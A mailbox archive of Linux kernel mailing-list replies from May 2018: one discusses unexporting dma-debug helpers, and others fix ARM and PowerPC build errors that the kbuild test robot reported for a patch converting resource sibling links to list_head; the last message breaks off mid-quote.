Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH 3/3] dma-debug: unexport dma_debug_resize_entries and
        debug_dma_dump_mappings
Date: Tue, 8 May 2018 12:45:56 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <20180508104556.GA26841@lst.de>
References: <20180424140235.9125-1-hch@lst.de> <20180424140235.9125-4-hch@lst.de> <bb5bb25f-24da-9729-a39b-3b88c65ef628@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1525776037 22748 195.159.176.226 (8 May 2018 10:40:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 May 2018 10:40:37 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>, iommu@lists.linux-foundation.org,
        linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
        linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
        linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
        nios2-dev@lists.rocketboards.org,
        linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org
To: Robin Murphy <robin.murphy@arm.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue May 08 12:40:31 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fG02p-0005fQ-AZ
	for glk-linux-kernel-4@m.gmane.org; Tue, 08 May 2018 12:40:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754911AbeEHKmj (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 8 May 2018 06:42:39 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:36869 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754476AbeEHKmg (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 8 May 2018 06:42:36 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id E7E0268CF2; Tue,  8 May 2018 12:45:56 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <bb5bb25f-24da-9729-a39b-3b88c65ef628@arm.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2761457 gmane.linux.kernel.iommu:24139 gmane.linux.kernel.cross-arch:43913 gmane.linux.ports.parisc:28590 gmane.linux.ports.sh.devel:56994 gmane.linux.ports.hexagon:1696 gmane.linux.ports.alpha:5017 gmane.linux.ports.sparc:27835 gmane.linux.kernel.arc:3862 gmane.linux.ports.arm.kernel:648470
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2761457>

On Tue, May 08, 2018 at 11:05:20AM +0100, Robin Murphy wrote:
> On 24/04/18 15:02, Christoph Hellwig wrote:
>> Only used by the AMD GART driver, which must be built in.
>
> FWIW debug_dma_dump_mappings() is also called by the Intel VT-d driver, but 
> the same reasoning still applies.

I'll update the changelog.

> This does rather beg the question of 
> whether it's right to have bits of low-level dma-debug internals *only* 
> called by a couple of IOMMU drivers, but that can wait for another day.

My gut feeling is that it is wrong, but I didn't have time to look into
the details and history of how this happened.


From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel
Subject: Re: [PATCH v4 1/3] resource: Use list_head to link sibling resource
Date: Tue, 8 May 2018 20:12:26 +0800
Lines: 94
Approved: news@gmane.org
Message-ID: <20180508121226.GJ30581@MiWiFi-R3L-srv>
References: <20180507063224.24229-2-bhe@redhat.com>
 <201805072210.H1bsHs9Y%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525781436 4705 195.159.176.226 (8 May 2018 12:10:36 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 8 May 2018 12:10:36 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org,
 haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Tue May 08 14:10:27 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fG1Rq-0000zZ-CA
	for gln-linux-nvdimm@m.gmane.org; Tue, 08 May 2018 14:10:26 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 4BA1E2063E30F;
	Tue,  8 May 2018 05:12:36 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 6EF50207E36DF
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue,  8 May 2018 05:12:34 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx05.intmail.prod.int.rdu2.redhat.com
 [10.11.54.5])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 82364EB6E5;
 Tue,  8 May 2018 12:12:33 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id 0B5D8AFD4E;
 Tue,  8 May 2018 12:12:30 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <201805072210.H1bsHs9Y%fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
X-Scanned-By: MIMEDefang 2.79 on 10.11.54.5
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.1]); Tue, 08 May 2018 12:12:33 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.1]);
 Tue, 08 May 2018 12:12:33 +0000 (UTC) for IP:'10.11.54.5'
 DOMAIN:'int-mx05.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:9660 gmane.linux.drivers.devicetree:269125 gmane.linux.kernel.pci:72278 gmane.linux.kernel.input:61142 gmane.linux.ports.parisc:28591 gmane.linux.kernel.kexec:20630 gmane.linux.kernel:2761518
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/9660>

On 05/07/18 at 11:50pm, kbuild test robot wrote:
> Hi Baoquan,
> 
> I love your patch! Yet something to improve:
> 
> [auto build test ERROR on linus/master]
> [also build test ERROR on v4.17-rc4 next-20180504]
> [if your patch is applied to the wrong git tree, please drop us a note to help improve the system]
> 
> url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180507-144345
> config: arm-allmodconfig (attached as .config)
> compiler: arm-linux-gnueabi-gcc (Debian 7.2.0-11) 7.2.0
> reproduce:
>         wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
>         chmod +x ~/bin/make.cross
>         # save the attached .config to linux build tree
>         make.cross ARCH=arm 
> 
> All errors (new ones prefixed by >>):

Thanks, below patch can fix it:


diff --git a/arch/arm/plat-samsung/pm-check.c b/arch/arm/plat-samsung/pm-check.c
index cd2c02c68bc3..5494355b1c49 100644
--- a/arch/arm/plat-samsung/pm-check.c
+++ b/arch/arm/plat-samsung/pm-check.c
@@ -46,8 +46,8 @@ typedef u32 *(run_fn_t)(struct resource *ptr, u32 *arg);
 static void s3c_pm_run_res(struct resource *ptr, run_fn_t fn, u32 *arg)
 {
 	while (ptr != NULL) {
-		if (ptr->child != NULL)
-			s3c_pm_run_res(ptr->child, fn, arg);
+		if (!list_empty(&ptr->child))
+			s3c_pm_run_res(resource_first_child(&ptr->child), fn, arg);
 
 		if ((ptr->flags & IORESOURCE_SYSTEM_RAM)
 				== IORESOURCE_SYSTEM_RAM) {
@@ -57,7 +57,7 @@ static void s3c_pm_run_res(struct resource *ptr, run_fn_t fn, u32 *arg)
 			arg = (fn)(ptr, arg);
 		}
 
-		ptr = ptr->sibling;
+		ptr = resource_sibling(ptr);
 	}
 }
 

> 
>    arch/arm/plat-samsung/pm-check.c: In function 's3c_pm_run_res':
> >> arch/arm/plat-samsung/pm-check.c:49:18: error: invalid operands to binary != (have 'struct list_head' and 'void *')
>       if (ptr->child != NULL)
>           ~~~~~~~~~~ ^~
> >> arch/arm/plat-samsung/pm-check.c:50:19: error: incompatible type for argument 1 of 's3c_pm_run_res'
>        s3c_pm_run_res(ptr->child, fn, arg);
>                       ^~~
>    arch/arm/plat-samsung/pm-check.c:46:13: note: expected 'struct resource *' but argument is of type 'struct list_head'
>     static void s3c_pm_run_res(struct resource *ptr, run_fn_t fn, u32 *arg)
>                 ^~~~~~~~~~~~~~
> >> arch/arm/plat-samsung/pm-check.c:60:7: error: incompatible types when assigning to type 'struct resource *' from type 'struct list_head'
>       ptr = ptr->sibling;
>           ^
> 
> vim +49 arch/arm/plat-samsung/pm-check.c
> 
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  45  
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  46  static void s3c_pm_run_res(struct resource *ptr, run_fn_t fn, u32 *arg)
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  47  {
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  48  	while (ptr != NULL) {
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12 @49  		if (ptr->child != NULL)
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12 @50  			s3c_pm_run_res(ptr->child, fn, arg);
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  51  
> 05fee7cf arch/arm/plat-samsung/pm-check.c Toshi Kani 2016-01-26  52  		if ((ptr->flags & IORESOURCE_SYSTEM_RAM)
> 05fee7cf arch/arm/plat-samsung/pm-check.c Toshi Kani 2016-01-26  53  				== IORESOURCE_SYSTEM_RAM) {
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  54  			S3C_PMDBG("Found system RAM at %08lx..%08lx\n",
> 840eeeb8 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  55  				  (unsigned long)ptr->start,
> 840eeeb8 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  56  				  (unsigned long)ptr->end);
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  57  			arg = (fn)(ptr, arg);
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  58  		}
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  59  
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12 @60  		ptr = ptr->sibling;
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  61  	}
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  62  }
> 549c7e33 arch/arm/plat-s3c/pm-check.c     Ben Dooks  2008-12-12  63  
> 
> :::::: The code at line 49 was first introduced by commit
> :::::: 549c7e33aeb9bfe441ecf68639d2227bb90978e7 [ARM] S3C: Split the resume memory check code from pm.c
> 
> :::::: TO: Ben Dooks <ben-linux-elnMNo+KYs3YtjvyW6yDsg@public.gmane.org>
> :::::: CC: Ben Dooks <ben-linux-elnMNo+KYs3YtjvyW6yDsg@public.gmane.org>
> 
> ---
> 0-DAY kernel test infrastructure                Open Source Technology Center
> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel
Subject: Re: [PATCH v4 1/3] resource: Use list_head to link sibling resource
Date: Wed, 9 May 2018 10:08:52 +0800
Lines: 209
Approved: news@gmane.org
Message-ID: <20180509020852.GK30581@MiWiFi-R3L-srv>
References: <20180507063224.24229-2-bhe@redhat.com>
 <201805071803.2MKgOLTP%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1525831621 24255 195.159.176.226 (9 May 2018 02:07:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 9 May 2018 02:07:01 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 keith.busch-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org,
 kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org,
 bp-l3A5Bk7waGM@public.gmane.org, dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, ebiederm-aS9lmoZGLiVWk0Htik3J/w@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org,
 haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org,
 josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
 seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: kbuild test robot <lkp-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Wed May 09 04:06:53 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fGEVI-00069b-PN
	for gln-linux-nvdimm@m.gmane.org; Wed, 09 May 2018 04:06:53 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id 7F76820945D90;
	Tue,  8 May 2018 19:09:02 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id E2C01203B85BC
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Tue,  8 May 2018 19:09:00 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx05.intmail.prod.int.rdu2.redhat.com
 [10.11.54.5])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 5CE464007862;
 Wed,  9 May 2018 02:08:59 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id C36B5C1FB6;
 Wed,  9 May 2018 02:08:54 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <201805071803.2MKgOLTP%fengguang.wu-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org>
X-Scanned-By: MIMEDefang 2.79 on 10.11.54.5
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.6]); Wed, 09 May 2018 02:08:59 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.6]);
 Wed, 09 May 2018 02:08:59 +0000 (UTC) for IP:'10.11.54.5'
 DOMAIN:'int-mx05.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.26
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:9699 gmane.linux.drivers.devicetree:269239 gmane.linux.kernel.pci:72349 gmane.linux.kernel.input:61152 gmane.linux.ports.parisc:28592 gmane.linux.kernel.kexec:20631 gmane.linux.kernel:2762219
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/9699>

On 05/07/18 at 07:42pm, kbuild test robot wrote:
> Hi Baoquan,
> 
> I love your patch! Yet something to improve:
> 
> [auto build test ERROR on linus/master]
> [also build test ERROR on v4.17-rc4 next-20180504]
> [if your patch is applied to the wrong git tree, please drop us a note to help improve the system]
> 
> url:    https://github.com/0day-ci/linux/commits/Baoquan-He/resource-Use-list_head-to-link-sibling-resource/20180507-144345
> config: powerpc-defconfig (attached as .config)
> compiler: powerpc64-linux-gnu-gcc (Debian 7.2.0-11) 7.2.0
> reproduce:
>         wget https://raw.githubusercontent.com/intel/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
>         chmod +x ~/bin/make.cross
>         # save the attached .config to linux build tree
>         make.cross ARCH=powerpc 
> 
> All errors (new ones prefixed by >>):
> 
>    arch/powerpc/kernel/pci-common.c: In function 'pci_process_bridge_OF_ranges':
> >> arch/powerpc/kernel/pci-common.c:764:44: error: incompatible types when assigning to type 'struct list_head' from type 'void *'
>        res->parent = res->child = res->sibling = NULL;

Pasted code can fix above error.

diff --git a/arch/powerpc/kernel/pci-common.c b/arch/powerpc/kernel/pci-common.c
index fe9733ffffaa..a7e68f6f9f24 100644
--- a/arch/powerpc/kernel/pci-common.c
+++ b/arch/powerpc/kernel/pci-common.c
@@ -761,7 +761,9 @@ void pci_process_bridge_OF_ranges(struct pci_controller *hose,
 			res->flags = range.flags;
 			res->start = range.cpu_addr;
 			res->end = range.cpu_addr + range.size - 1;
-			res->parent = res->child = res->sibling = NULL;
+			res->parent = NULL;
+			INIT_LIST_HEAD(&res->child);
+			INIT_LIST_HEAD(&res->sibling);
 		}
 	}
 }

>                                                ^
>    arch/powerpc/kernel/pci-common.c: In function 'reparent_resources':
> >> arch/powerpc/kernel/pci-common.c:1100:10: error: assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
>      for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
>              ^

This reparent_resources() function is duplicated with the one in
arch/microblaze/pci/pci-common.c which has been fixed in v4. I planned
to move it to kernel/resource.c in a separate patch since it's shared by
different ARCH, then fix it in this patch.

>    arch/powerpc/kernel/pci-common.c:1100:50: error: assignment from incompatible pointer type [-Werror=incompatible-pointer-types]
>      for (pp = &parent->child; (p = *pp) != NULL; pp = &p->sibling) {
>                                                      ^
> >> arch/powerpc/kernel/pci-common.c:1113:13: error: incompatible types when assigning to type 'struct list_head' from type 'struct resource *'
>      res->child = *firstpp;
>                 ^
>    arch/powerpc/kernel/pci-common.c:1114:15: error: incompatible types when assigning to type 'struct list_head' from type 'struct resource *'
>      res->sibling = *pp;
>                   ^
> >> arch/powerpc/kernel/pci-common.c:1117:9: error: incompatible types when assigning to type 'struct resource *' from type 'struct list_head'
>      for (p = res->child; p != NULL; p = p->sibling) {
>             ^
>    arch/powerpc/kernel/pci-common.c:1117:36: error: incompatible types when assigning to type 'struct resource *' from type 'struct list_head'
>      for (p = res->child; p != NULL; p = p->sibling) {
>                                        ^
>    cc1: all warnings being treated as errors
> 
> vim +764 arch/powerpc/kernel/pci-common.c
> 
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  642  
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  643  /**
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  644   * pci_process_bridge_OF_ranges - Parse PCI bridge resources from device tree
